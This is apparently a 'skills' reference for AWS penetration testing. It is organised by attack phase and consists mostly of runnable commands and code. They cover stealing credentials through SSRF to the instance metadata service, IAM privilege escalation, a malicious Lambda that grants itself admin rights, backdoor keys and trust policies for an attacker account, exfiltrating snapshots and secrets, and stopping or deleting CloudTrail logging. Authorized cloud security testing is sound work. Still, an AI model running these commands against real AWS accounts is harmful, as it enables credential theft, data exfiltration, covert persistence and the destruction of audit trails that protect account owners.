skills

AWS Penetration Testing - Comprehensive Skill Reference

Scope: Tools, processes, commands, and attack techniques for offensive security assessments of AWS cloud environments. Vendor-neutral, process-focused.


Table of Contents

  1. Methodology Overview
  2. Tools Arsenal
  3. Phase 1: Reconnaissance & Discovery
  4. Phase 2: Initial Access & Credential Harvesting
  5. Phase 3: Enumeration (Post-Credential)
  6. Phase 4: Privilege Escalation
  7. Phase 5: Lateral Movement
  8. Phase 6: Persistence
  9. Phase 7: Data Exfiltration & Impact
  10. Phase 8: Defense Evasion
  11. Service-Specific Attack Playbooks
  12. Quick Reference Tables

1. Methodology Overview

Attack Lifecycle

graph LR
    A("1. Recon
OSINT
Dorking
DNS") --> B("2. Initial Access
SSRF/Creds
Leaked Keys
IMDS") B --> C("3. Enumerate
IAM/Services
S3/EC2/Lambda
Roles/Policies") C --> D("4. PrivEsc
IAM Policy Abuse
Lambda Inject
Role Assumption") D --> E("5. Lateral Movement
Cross-Account
Snapshot Share
SSM Run") E --> F("6. Persistence
Backdoor Keys
Trust Policies
SAML") F --> G("7. Exfiltration
S3/RDS/Secrets
CloudTrail
DynamoDB")

Attack Surface Entry Points

Entry Point Description Access Level Required
Exposed S3 Buckets Public read/write via misconfigured ACLs or policies None (unauthenticated)
Exposed APIs API Gateway endpoints without authentication None
Leaked Credentials Access keys in repos, CI/CD logs, environment files None
SSRF to IMDS Server-Side Request Forgery targeting metadata endpoint Web application access
Compromised EC2 Pivot from compromised instance OS-level access
Phishing / Password Spray Target IAM users with console access None

2. Tools Arsenal

2.1 Core Offensive Tools

Tool Purpose Install Profile Required
awscli Official AWS command line interface pip install awscli or brew install awscli Yes
Pacu AWS exploitation framework (modular post-compromise) git clone https://github.com/RhinoSecurityLabs/pacu Yes
CloudFox Attack path enumeration and situational awareness go install github.com/BishopFox/cloudfox@latest Yes
enumerate-iam Brute-force IAM permission discovery git clone https://github.com/andresriancho/enumerate-iam Yes (keys)
Prowler CIS benchmark / compliance / security posture pip install prowler Yes
ScoutSuite Multi-cloud security posture assessment pip install scoutsuite Yes
Steampipe SQL-based cloud resource querying brew install steampipe && steampipe plugin install aws Yes
Principal Mapper (pmapper) IAM privilege escalation graph analysis pip install principalmapper Yes
aws_consoler Convert CLI credentials to console login URL pip install aws-consoler Yes (keys)

2.2 Reconnaissance Tools

Tool Purpose Install
CloudBrute Multi-cloud asset discovery via brute force go build from github.com/0xsha/CloudBrute
cloud_enum Multi-cloud resource enumeration pip install cloud_enum
S3Scanner S3 bucket discovery and permissions check pip install s3scanner
AWSBucketDump S3 bucket content dumper with keyword matching git clone https://github.com/jordanpotti/AWSBucketDump
lazys3 S3 bucket brute-forcer Ruby script
TruffleHog Secret scanning in Git repos / S3 / filesystems pip install trufflehog
Gitleaks Secret detection in Git repos brew install gitleaks
Nuclei Template-based vulnerability scanner (cloud templates) go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

2.3 Container & Kubernetes Tools

Tool Purpose Install
CCAT Cloud Container Attack Tool (ECR/ECS exploitation) Docker + Python
kube-hunter Kubernetes penetration testing pip install kube-hunter
kubescape Kubernetes misconfiguration scanner curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | bash

2.4 Credential & Secret Tools

Tool Purpose Install
cred_scanner Local filesystem credential scanner git clone https://github.com/disruptops/cred_scanner
WeirdAAL AWS Attack Library (service enumeration) git clone https://github.com/carnal0wnage/weirdAAL
awsenum Read-only IAM permission brute-forcer git clone https://github.com/zer1t0/awsenum
SkyArk Shadow Admin discovery (PowerShell) Import-Module .\SkyArk.ps1

2.5 IaC / Static Analysis

Tool Purpose
Checkov Terraform/CloudFormation static analysis
Terrascan IaC misconfiguration detection
KICS IaC security scanning
CloudSploit Cloud posture management (open-source)

3. Phase 1: Reconnaissance & Discovery

3.1 Passive Reconnaissance

Google Dorking for AWS Assets

site:.s3.amazonaws.com "target-company"
site:s3.amazonaws.com intitle:index.of.bucket
inurl:s3.amazonaws.com intitle:"AWS S3 Explorer"
site:amazonaws.com "target-domain"

GitHub Secret Scanning

# Search for AWS keys in public repos
# Access key pattern: AKIA[A-Z0-9]{16}
# Secret key pattern: [A-Za-z0-9/+=]{40}

trufflehog github --org=target-org
gitleaks detect --source=./repo --report-format json

DNS Reconnaissance

dig +nocmd target.com any +multiline +noall +answer
dig target.com
nslookup target.com
nslookup <ip-address>

# Identify S3-hosted websites
nslookup s3-website-us-west-2.amazonaws.com

3.2 Active Reconnaissance

S3 Bucket Discovery

# CloudBrute - multi-cloud storage brute force
./CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w ./data/storage_small.txt

# cloud_enum
python cloud_enum.py -k targetcompany --disable-azure --disable-gcp

# S3Scanner
python s3scanner.py --bucket-file buckets.txt

# lazys3
ruby lazys3.rb target-company

# Nuclei cloud templates
nuclei -t nuclei-templates/cloud/aws/ -l subdomains.txt

S3 URL Format Patterns

https://BUCKET-NAME.s3.amazonaws.com/
https://s3.amazonaws.com/BUCKET-NAME/
https://s3-REGION.amazonaws.com/BUCKET-NAME/
https://BUCKET-NAME.s3-REGION.amazonaws.com/
https://BUCKET-NAME.s3.REGION.amazonaws.com/

Subdomain Enumeration for AWS Services

subfinder -d target.com -all -silent | httpx -silent -webserver -threads 100 | grep -i AmazonS3
assetfinder --subs-only target.com | httpx -silent -tech-detect | grep -i "s3\|cloudfront\|elasticbeanstalk"

4. Phase 2: Initial Access & Credential Harvesting

4.1 Credential Locations

Service Credential Type Location Extraction Method
IMDS (EC2) Temporary IAM Tokens http://169.254.169.254/latest/meta-data/ curl with token header
Secrets Manager API Keys, Secrets AWS-managed secret store aws secretsmanager get-secret-value
Lambda Environment Variables Function configuration aws lambda get-function-configuration
Elastic Beanstalk App Environment Variables Configuration files aws elasticbeanstalk describe-environments
CodeBuild/CodePipeline Hardcoded Secrets BuildSpec, artifacts Review buildspec or logs
CodeCommit Hardcoded API Keys Git Repositories git grep, manual inspection
S3 Buckets Config Files, Tokens Terraform/CloudFormation templates aws s3 cp, check bucket policies
CloudWatch Logs Sensitive Log Data Application/event logs Query logs for secrets
ECS Task Definitions API Keys, Env Variables Container definitions aws ecs describe-task-definition
SSM Parameter Store Secrets, Config Values Parameter Store aws ssm get-parameter --with-decryption
CloudFormation Templates Passwords, Keys Stack templates aws cloudformation get-template
Terraform State Files Plaintext secrets S3 / local .tfstate jq extraction

4.2 Credential Formats

Type Pattern Example
Access Key ID AKIA[A-Z0-9]{16} AKIAIOSFODNN7EXAMPLE
Temporary Access Key ASIA[A-Z0-9]{16} ASIAZQNB3KHGBO7JZHVJ
Secret Access Key 40-character base64 wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Session Token Long base64 string FQoGZXIvYXdzE...
ARN arn:partition:service:region:account-id:resource arn:aws:iam::123456789012:user/admin

4.3 IMDS Exploitation (Instance Metadata Service)

IMDSv1 (No Authentication - Trivial to Exploit)

# Direct metadata access
curl http://169.254.169.254/latest/meta-data/

# Get IAM role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE-NAME>

# IPv6 alternative
curl http://[fd00:ec2::254]/latest/meta-data/

# User data (may contain secrets/bootstrap scripts)
curl http://169.254.169.254/latest/user-data

IMDSv2 (Token-Based - Harder but Not Impossible)

# Step 1: Get session token (requires PUT + custom header)
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  http://169.254.169.254/latest/api/token)

# Step 2: Use token in subsequent requests
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
Feature IMDSv1 IMDSv2
Authentication None (simple GET) Session token required (PUT + header)
SSRF Protection Vulnerable Resistant (requires PUT with custom header)
Default Status Often still enabled Opt-in (should be enforced)

SSRF to IMDS Attack Chain

# 1. Find SSRF in web application
https://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/

# 2. Enumerate role name
https://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 3. Extract credentials
https://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Also try LFI for container environments
http://vulnerable-app.com/proxy/file:///proc/self/environ

Container Metadata Endpoints

# ECS / Fargate task credentials
cat /proc/self/environ | grep AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

# Alternative ECS endpoint
curl http://169.254.170.2/v2/credentials/<GUID>

4.4 Using Harvested Credentials

# Configure a new AWS CLI profile
aws configure --profile compromised
# Enter: Access Key ID, Secret Access Key, Region

# For temporary credentials (with session token)
aws configure --profile compromised
aws configure set aws_session_token <SESSION_TOKEN> --profile compromised

# Or use environment variables
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."    # Only for temporary creds
export AWS_DEFAULT_REGION="us-east-1"

# Verify identity
aws sts get-caller-identity --profile compromised

# Credentials file location
~/.aws/credentials
~/.aws/config

4.5 CLI Credentials to Console Access

# Method 1: aws_consoler
aws_consoler -v -a AKIA... -s SECRET_KEY

# Method 2: Manual Federation URL
# Step 1: Create session JSON
cat > session.json << 'EOF'
{
  "sessionId": "YOUR_ACCESS_KEY_ID",
  "sessionKey": "YOUR_SECRET_ACCESS_KEY",
  "sessionToken": "YOUR_SESSION_TOKEN"
}
EOF

# Step 2: Get SigninToken
SESSION=$(jq -c . session.json | python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read()))')
curl "https://signin.aws.amazon.com/federation?Action=getSigninToken&Session=${SESSION}"

# Step 3: Build login URL
# https://signin.aws.amazon.com/federation?Action=login&Issuer=Example&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=<TOKEN>

5. Phase 3: Enumeration (Post-Credential)

5.1 Identity & Account Enumeration

# Who am I?
aws sts get-caller-identity

# Account details
aws iam get-account-summary
aws iam get-account-authorization-details    # GOLD - dumps everything

# Organizations (if accessible)
aws organizations describe-organization
aws organizations list-accounts

5.2 IAM Enumeration

# Users
aws iam list-users
aws iam get-user --user-name <username>
aws iam list-access-keys --user-name <username>
aws iam list-groups-for-user --user-name <username>
aws iam list-user-policies --user-name <username>            # Inline policies
aws iam list-attached-user-policies --user-name <username>   # Managed policies
aws iam get-user-policy --user-name <username> --policy-name <policy>

# Roles
aws iam list-roles
aws iam get-role --role-name <role>
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>
aws iam get-role-policy --role-name <role> --policy-name <policy>

# Groups
aws iam list-groups
aws iam get-group --group-name <group>
aws iam list-group-policies --group-name <group>
aws iam list-attached-group-policies --group-name <group>

# Policies
aws iam list-policies --scope Local
aws iam get-policy --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id v1

# Brute-force permissions (when Get* is denied)
./enumerate-iam.py --access-key AKIA... --secret-key <secret>

# CloudFox (comprehensive)
cloudfox aws --profile <profile> permissions
cloudfox aws --profile <profile> role-trusts
cloudfox aws --profile <profile> principals

5.3 Service Enumeration

S3

aws s3 ls
aws s3 ls s3://<bucket> --recursive
aws s3api get-bucket-acl --bucket <bucket>
aws s3api get-bucket-policy --bucket <bucket>
aws s3api get-bucket-versioning --bucket <bucket>
aws s3api get-bucket-encryption --bucket <bucket>
aws s3api get-public-access-block --bucket <bucket>

# Anonymous access
aws s3 ls s3://<bucket> --no-sign-request

EC2

aws ec2 describe-instances
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,InstanceType]' --output table
aws ec2 describe-security-groups
aws ec2 describe-snapshots --owner-ids self
aws ec2 describe-volumes
aws ec2 describe-key-pairs
aws ec2 describe-images --owners self
aws ec2 describe-vpcs
aws ec2 describe-subnets

# User data (may contain secrets)
aws ec2 describe-instance-attribute --attribute userData --instance-id <id> | jq -r '.UserData.Value' | base64 --decode

Lambda

aws lambda list-functions
aws lambda get-function --function-name <name>
aws lambda get-function-configuration --function-name <name>
aws lambda get-policy --function-name <name>
aws lambda list-layers

Secrets Manager & Parameter Store

# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <name>

# SSM Parameter Store
aws ssm describe-parameters
aws ssm get-parameter --name <name> --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryption

RDS / DynamoDB

# RDS
aws rds describe-db-instances
aws rds describe-db-snapshots
aws rds describe-db-cluster-snapshots

# DynamoDB
aws dynamodb list-tables
aws dynamodb describe-table --table-name <table>
aws dynamodb scan --table-name <table>

ECS / ECR / EKS

# ECS
aws ecs list-clusters
aws ecs list-services --cluster <cluster>
aws ecs list-tasks --cluster <cluster>
aws ecs describe-task-definition --task-definition <task-def>

# ECR
aws ecr describe-repositories
aws ecr list-images --repository-name <repo>
aws ecr get-login-password --region <region>

# EKS
aws eks list-clusters
aws eks describe-cluster --name <cluster>
aws eks update-kubeconfig --name <cluster>

CloudFormation (May Contain Secrets)

aws cloudformation list-stacks
aws cloudformation describe-stacks --stack-name <stack>
aws cloudformation get-template --stack-name <stack> | jq -r '.TemplateBody'

SQS / SNS

# SQS
aws sqs list-queues
aws sqs get-queue-attributes --queue-url <url> --attribute-names All
aws sqs receive-message --queue-url <url>

# SNS
aws sns list-topics
aws sns list-subscriptions
aws sns get-topic-attributes --topic-arn <arn>

API Gateway

aws apigateway get-rest-apis
aws apigateway get-stages --rest-api-id <id>
aws apigateway get-resources --rest-api-id <id>

5.4 Automated Enumeration Tools

# CloudFox - all checks
cloudfox aws --profile <profile> all-checks

# ScoutSuite - security posture
scout aws --profile <profile> --report-dir ./report

# Prowler - compliance
prowler aws --profile <profile> --output-formats html,json

# Steampipe - SQL queries
steampipe query "SELECT * FROM aws_iam_user"
steampipe query "SELECT * FROM aws_s3_bucket WHERE bucket_policy_is_public"
steampipe query "SELECT * FROM aws_ec2_instance WHERE instance_state = 'running'"

# Pacu
pacu
> set_keys
> run iam__enum_permissions
> run ec2__enum
> run lambda__enum
> run s3__bucket_finder

6. Phase 4: Privilege Escalation

6.1 Dangerous IAM Permissions (Shadow Admin)

Permission Exploitation Path
iam:CreatePolicyVersion Create new admin policy version and set as default
iam:SetDefaultPolicyVersion Set a permissive policy version as default
iam:AttachUserPolicy Attach AdministratorAccess to self
iam:AttachGroupPolicy Attach admin policy to your group
iam:AttachRolePolicy Attach admin policy to assumable role
iam:PutUserPolicy Add inline admin policy to self
iam:PutGroupPolicy Add inline admin policy to your group
iam:PutRolePolicy Add inline policy to target role
iam:AddUserToGroup Add self to Admins group
iam:CreateAccessKey Create access key for any user
iam:CreateLoginProfile Set console password for any user
iam:UpdateLoginProfile Change console password for any user
iam:UpdateAssumeRolePolicy Modify role trust to allow cross-account access
iam:PassRole + ec2:RunInstances Launch EC2 with admin role attached
iam:PassRole + lambda:CreateFunction Create Lambda with admin role
lambda:UpdateFunctionCode Inject code into existing Lambda
lambda:UpdateFunctionConfiguration Add malicious layer to Lambda
glue:UpdateDevEndpoint Inject SSH key into Glue endpoint
cloudformation:CreateStack Deploy stack with malicious IAM resources
datapipeline:CreatePipeline Execute arbitrary commands via pipeline
ssm:SendCommand Execute commands on managed EC2 instances
sagemaker:CreatePresignedNotebookInstanceUrl Access Jupyter with instance role

6.2 Policy Manipulation Attacks

# 1. Create admin policy version
aws iam create-policy-version --policy-arn arn:aws:iam::<ACCOUNT>:policy/<POLICY> \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

# 2. Attach admin policy to self
aws iam attach-user-policy --user-name <SELF> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# 3. Add inline admin policy
aws iam put-user-policy --user-name <SELF> --policy-name admin \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

# 4. Add self to admin group
aws iam add-user-to-group --user-name <SELF> --group-name Admins

# 5. Create access key for admin user
aws iam create-access-key --user-name <ADMIN_USER>

# 6. Create console login for target user
aws iam create-login-profile --user-name <TARGET> \
  --password 'C0mpl3xP@ss!' --no-password-reset-required

6.3 Role Assumption Attacks

# Modify role trust policy (cross-account backdoor)
aws iam update-assume-role-policy --role-name <TARGET_ROLE> --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::<ATTACKER_ACCOUNT>:root"},
    "Action": "sts:AssumeRole"
  }]
}'

# Assume a role
aws sts assume-role --role-arn arn:aws:iam::<ACCOUNT>:role/<ROLE> --role-session-name pwned

6.4 Lambda-Based Privilege Escalation

# malicious_lambda.py - Inject into existing Lambda
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    # Attach admin policy to attacker user
    response = client.attach_user_policy(
        UserName='attacker-user',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return response
# Update existing Lambda function code
zip malicious.zip malicious_lambda.py
aws lambda update-function-code --function-name <TARGET> --zip-file fileb://malicious.zip

# Lambda layer hijacking (package priority attack)
# Create malicious layer with boto3 override
aws lambda publish-layer-version --layer-name evil-layer --zip-file fileb://layer.zip
aws lambda update-function-configuration --function-name <TARGET> \
  --layers arn:aws:lambda:<REGION>:<ACCOUNT>:layer:evil-layer:1

6.5 EC2-Based Privilege Escalation

# PassRole + RunInstances: Launch EC2 with admin role
aws iam create-instance-profile --instance-profile-name backdoor-profile
aws iam add-role-to-instance-profile --instance-profile-name backdoor-profile --role-name AdminRole
aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
  --iam-instance-profile Name=backdoor-profile
# Then SSH in and curl metadata for admin creds

6.6 Automated Privilege Escalation Scanning

# Pacu
pacu
> run iam__privesc_scan

# Principal Mapper
pmapper graph --profile <profile>
pmapper query "who can do iam:AttachUserPolicy"
pmapper visualize --filetype png

# CloudFox
cloudfox aws --profile <profile> permissions

7. Phase 5: Lateral Movement

7.1 Cross-Account Movement

# Enumerate cross-account roles
cloudfox aws --profile <profile> role-trusts

# Assume role in another account
aws sts assume-role --role-arn arn:aws:iam::<OTHER_ACCOUNT>:role/<ROLE> \
  --role-session-name lateral

7.2 SSM Command Execution (EC2)

# List managed instances
aws ssm describe-instance-information

# Execute command on EC2
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami && cat /etc/shadow"

# Get command output
aws ssm list-command-invocations --command-id "<CMD-ID>" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

7.3 EC2 Snapshot Attack (Mount & Extract)

# 1. Get account ID
aws sts get-caller-identity

# 2. Find snapshots
aws ec2 describe-snapshots --owner-ids <ACCOUNT_ID>

# 3. Check snapshot permissions
aws ec2 describe-snapshot-attribute --snapshot-id snap-xxx --attribute createVolumePermission

# 4. Create volume from snapshot (in your account)
aws ec2 create-volume --availability-zone us-east-1a --region us-east-1 --snapshot-id snap-xxx

# 5. Attach to your instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# 6. Mount and extract data
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
# Search for credentials, configs, etc.

7.4 ECR Container Image Analysis

# List repositories
aws ecr describe-repositories

# List images in repo
aws ecr list-images --repository-name <repo>

# Get login and pull image
aws ecr get-login-password | docker login -u AWS -p $(cat) https://<ACCOUNT>.dkr.ecr.<REGION>.amazonaws.com
docker pull <ACCOUNT>.dkr.ecr.<REGION>.amazonaws.com/<repo>:latest

# Inspect for secrets
docker inspect <IMAGE_ID>
docker history <IMAGE_ID> --no-trunc

# Alternative: Download layers via CLI
aws ecr batch-get-image --repository-name <repo> --registry-id <ACCOUNT> \
  --image-ids imageTag=latest | jq '.images[].imageManifest|fromjson'

aws ecr get-download-url-for-layer --repository-name <repo> \
  --layer-digest "sha256:xxxxx"

8. Phase 6: Persistence

8.1 IAM-Based Persistence

# 1. Create backdoor access key
aws iam create-access-key --user-name <TARGET>

# 2. Create console login profile
aws iam create-login-profile --user-name <TARGET> \
  --password 'B@ckd00r!' --no-password-reset-required

# 3. Cross-account trust policy backdoor
aws iam update-assume-role-policy --role-name <ROLE> --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::<ATTACKER_ACCOUNT>:root"},
    "Action": "sts:AssumeRole"
  }]
}'

# 4. SAML federation backdoor
aws iam create-saml-provider --saml-metadata-document file://metadata.xml --name BackdoorIDP
aws iam update-assume-role-policy --role-name <ROLE> --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "arn:aws:iam::<ACCOUNT>:saml-provider/BackdoorIDP"},
    "Action": "sts:AssumeRoleWithSAML"
  }]
}'

8.2 Resource-Based Persistence

# S3 bucket policy backdoor
aws s3api put-bucket-policy --bucket <TARGET_BUCKET> --policy '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::<ATTACKER_ACCOUNT>:root"},
    "Action": "s3:*",
    "Resource": ["arn:aws:s3:::<TARGET_BUCKET>", "arn:aws:s3:::<TARGET_BUCKET>/*"]
  }]
}'

# Lambda layer backdoor (persistent across function updates)
aws lambda publish-layer-version --layer-name persistence --zip-file fileb://backdoor.zip
for func in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
  aws lambda update-function-configuration --function-name $func \
    --layers arn:aws:lambda:<REGION>:<ACCOUNT>:layer:persistence:1
done

# EC2 AMI sharing
aws ec2 modify-image-attribute --image-id ami-xxx \
  --launch-permission "Add=[{UserId=<ATTACKER_ACCOUNT>}]"

# RDS snapshot sharing
aws rds modify-db-snapshot-attribute --db-snapshot-identifier snap-xxx \
  --attribute-name restore --values-to-add <ATTACKER_ACCOUNT>

# Secrets Manager resource policy
aws secretsmanager put-resource-policy --secret-id <SECRET> --resource-policy '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::<ATTACKER_ACCOUNT>:root"},
    "Action": "secretsmanager:GetSecretValue",
    "Resource": "*"
  }]
}'

9. Phase 7: Data Exfiltration & Impact

9.1 S3 Data Exfiltration

# Download entire bucket
aws s3 sync s3://<bucket> ./exfil/

# Targeted download
aws s3 cp s3://<bucket>/sensitive-file.csv ./

# List all versions (recover deleted data)
aws s3api list-object-versions --bucket <bucket>

9.2 RDS Snapshot Exfiltration

# Create snapshot of target database
aws rds create-db-snapshot --db-snapshot-identifier exfil-snap --db-instance-identifier <db-id>

# Share with attacker account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier exfil-snap \
  --attribute-name restore --values-to-add <ATTACKER_ACCOUNT>

# In attacker account: restore snapshot to new instance
aws rds restore-db-instance-from-db-snapshot \
  --db-instance-identifier stolen-db --db-snapshot-identifier exfil-snap

9.3 Secrets Manager & Parameter Store

# Dump all secrets
for secret in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text); do
  echo "=== $secret ==="
  aws secretsmanager get-secret-value --secret-id "$secret" 2>/dev/null
done

# Dump all SSM parameters
aws ssm get-parameters-by-path --path / --recursive --with-decryption

9.4 Terraform State File Exploitation

# Find state files in S3
aws s3 ls s3://<bucket> --recursive | grep tfstate

# Download and extract secrets
aws s3 cp s3://<bucket>/terraform.tfstate ./
cat terraform.tfstate | jq -r '.. | select(type == "string") | select(test("password|secret|key|token"; "i"))'

# Specific resource secrets
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_iam_access_key") | .instances[].attributes.secret'

10. Phase 8: Defense Evasion

10.1 CloudTrail Manipulation

# Stop logging
aws cloudtrail stop-logging --name <trail-name>

# Delete trail
aws cloudtrail delete-trail --name <trail-name>

# Disable global events
aws cloudtrail update-trail --name <trail-name> --no-include-global-service-events

# Limit to single region
aws cloudtrail update-trail --name <trail-name> --no-is-multi-region-trail

# Modify event selectors (exclude sensitive APIs)
aws cloudtrail put-event-selectors --trail-name <trail-name> \
  --event-selectors file://exclude-iam.json

10.2 CloudTrail Log Deletion

# Delete logs via S3 lifecycle rule
aws s3api put-bucket-lifecycle-configuration --bucket <cloudtrail-bucket> \
  --lifecycle-configuration '{
    "Rules": [{
      "Id": "DeleteAll",
      "Status": "Enabled",
      "Prefix": "",
      "Expiration": {"Days": 1}
    }]
  }'

10.3 GuardDuty Evasion

Important: Kali/Parrot/Pentoo Linux user-agents trigger GuardDuty alerts. Use tools that modify user-agents (e.g., Pacu).

# Pacu automatically modifies user-agent strings
# Alternatively, set custom user-agent:
export AWS_EXECUTION_ENV="AWS_Lambda_python3.9"

10.4 Policy Size Exploitation (Log Obfuscation)

Policies between 102,401-131,072 characters cause CloudTrail to log "requestParameters too large" instead of the actual policy content, hiding malicious changes.


11. Service-Specific Attack Playbooks

11.1 EC2 Attack Flow

1. Enumerate instances     --> aws ec2 describe-instances
2. Check user data         --> aws ec2 describe-instance-attribute --attribute userData
3. Check security groups   --> aws ec2 describe-security-groups
4. Find snapshots          --> aws ec2 describe-snapshots --owner-ids <account>
5. Mount snapshot          --> create-volume + attach + mount
6. Extract credentials     --> grep for keys, configs, .env, .git
7. SSRF to IMDS           --> curl 169.254.169.254/latest/meta-data/
8. Pivot with stolen creds --> aws configure --profile next

11.2 Lambda Attack Flow

1. List functions         --> aws lambda list-functions
2. Get code               --> aws lambda get-function (download URL)
3. Get env vars           --> aws lambda get-function-configuration | jq '.Environment'
4. Get policy             --> aws lambda get-policy
5. Inject code            --> aws lambda update-function-code
6. Add malicious layer    --> aws lambda update-function-configuration --layers
7. Invoke                 --> aws lambda invoke

11.3 S3 Attack Flow

1. Discover buckets       --> CloudBrute, cloud_enum, lazys3, dorking
2. Test anonymous access  --> aws s3 ls s3://<bucket> --no-sign-request
3. Check ACL              --> aws s3api get-bucket-acl
4. Check policy           --> aws s3api get-bucket-policy
5. Download contents      --> aws s3 sync s3://<bucket> ./
6. Check versioning       --> aws s3api list-object-versions (recover deleted files)
7. Write test             --> aws s3 cp test.txt s3://<bucket>/

11.4 IAM Attack Flow

1. Identify caller        --> aws sts get-caller-identity
2. Enumerate permissions  --> enumerate-iam / Pacu iam__enum_permissions
3. Check policies         --> list-attached-user-policies, get-policy-version
4. Find escalation paths  --> Pacu iam__privesc_scan / pmapper
5. Escalate               --> Create keys, attach policies, assume roles
6. Persist                --> Backdoor trust policies, create federation

12. Quick Reference Tables

12.1 Identity Verification

Command Purpose
aws sts get-caller-identity Who am I? (Account, User/Role, ARN)
aws iam get-user Current user details
aws iam get-account-authorization-details Full IAM dump

12.2 Most Valuable Enumeration Commands

Command Why It Matters
aws iam get-account-authorization-details Full IAM policy dump - find all escalation paths
aws ec2 describe-instance-attribute --attribute userData Bootstrap scripts often contain credentials
aws lambda get-function-configuration Environment variables contain secrets
aws secretsmanager list-secrets + get-secret-value Direct credential access
aws ssm get-parameters-by-path --path / --recursive --with-decryption All SSM secrets
aws cloudformation get-template Templates contain hardcoded passwords
aws rds describe-db-snapshots Database snapshots can be exfiltrated
aws ec2 describe-snapshots --owner-ids self EC2 disk snapshots for mounting

12.3 Publicly Accessible AWS Endpoints

Service Public Endpoint Pattern Notes
S3 https://<bucket>.s3.amazonaws.com/<object> Public via bucket policy or ACL
API Gateway https://<api-id>.execute-api.<region>.amazonaws.com/ Public by default
CloudFront https://<distro>.cloudfront.net/ CDN, intended public
Lambda (via APIGW) https://<api-id>.execute-api.<region>.amazonaws.com/<stage> Public if API GW is public
ELB http://<elb-dns> Public if internet-facing
EC2 <public-ip>:<port> Via Security Groups + public IP
EKS Public API via ELB Unless endpoint access restricted
Lightsail Public IP assigned Default public, adjust firewall

12.4 Tool Quick-Launch

Task Command
Full automated recon cloudfox aws --profile <p> all-checks
Permission enumeration ./enumerate-iam.py --access-key AKIA... --secret-key SECRET
Compliance scan prowler aws --profile <p> --compliance cis_2.0_aws
Security posture scout aws --profile <p>
SQL cloud queries steampipe query "SELECT * FROM aws_iam_user"
Exploitation framework pacu -> set_keys -> run iam__privesc_scan
Attack path graph pmapper graph --profile <p>
Console from CLI keys aws_consoler -v -a AKIA... -s SECRET

12.5 Key Pacu Modules

Module Purpose
iam__enum_permissions Enumerate all IAM permissions
iam__privesc_scan Find privilege escalation paths
iam__backdoor_users_keys Create backdoor access keys
iam__backdoor_assume_role Create backdoor role trust
ec2__enum Enumerate EC2 instances
s3__bucket_finder Discover S3 buckets
s3__download_bucket Download bucket contents
lambda__enum Enumerate Lambda functions
ebs__download_snapshots Download EBS snapshots
secretsmanager__secrets_dump Dump all secrets
cloudformation__download_data Extract CloudFormation templates
detection__disruption Evade CloudTrail / GuardDuty

References